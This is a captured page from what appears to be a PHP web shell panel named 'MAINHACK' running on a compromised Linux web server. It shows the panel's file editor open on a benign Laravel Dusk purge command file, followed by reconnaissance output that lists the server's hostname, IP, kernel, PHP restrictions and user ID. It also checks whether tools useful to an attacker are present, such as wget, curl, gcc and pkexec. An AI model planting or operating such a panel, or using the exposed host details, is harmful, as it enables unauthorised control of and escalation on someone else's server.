[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PurgeCommand.php
<?php namespace Laravel\Dusk\Console; use Illuminate\Console\Command; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Finder\Finder; class PurgeCommand extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'dusk:purge'; /** * The console command description. * * @var string */ protected $description = 'Purge dusk test debugging files'; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); $this->ignoreValidationErrors(); } /** * Execute the console command. * * @return mixed */ public function handle() { $this->purgeScreenshots(); $this->purgeConsoleLogs(); $this->purgeSourceLogs(); } /** * Purge the failure screenshots. * * @return void */ protected function purgeScreenshots() { $this->purgeDebuggingFiles( 'tests/Browser/screenshots', 'failure-*' ); } /** * Purge the console logs. * * @return void */ protected function purgeConsoleLogs() { $this->purgeDebuggingFiles( 'tests/Browser/console', '*.log' ); } /** * Purge the source logs. * * @return void */ protected function purgeSourceLogs() { $this->purgeDebuggingFiles( 'tests/Browser/source', '*.txt' ); } /** * Purge debugging files based on path and patterns. * * @param string $relativePath * @param string $patterns * @return void */ protected function purgeDebuggingFiles($relativePath, $patterns) { $path = base_path($relativePath); if (! is_dir($path)) { $this->warn( "Unable to purge missing directory [{$relativePath}].", OutputInterface::VERBOSITY_DEBUG ); return; } $files = Finder::create()->files() ->in($path) ->name($patterns); foreach ($files as $file) { @unlink($file->getRealPath()); } $this->info("Purged \"{$patterns}\" from [{$relativePath}]."); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002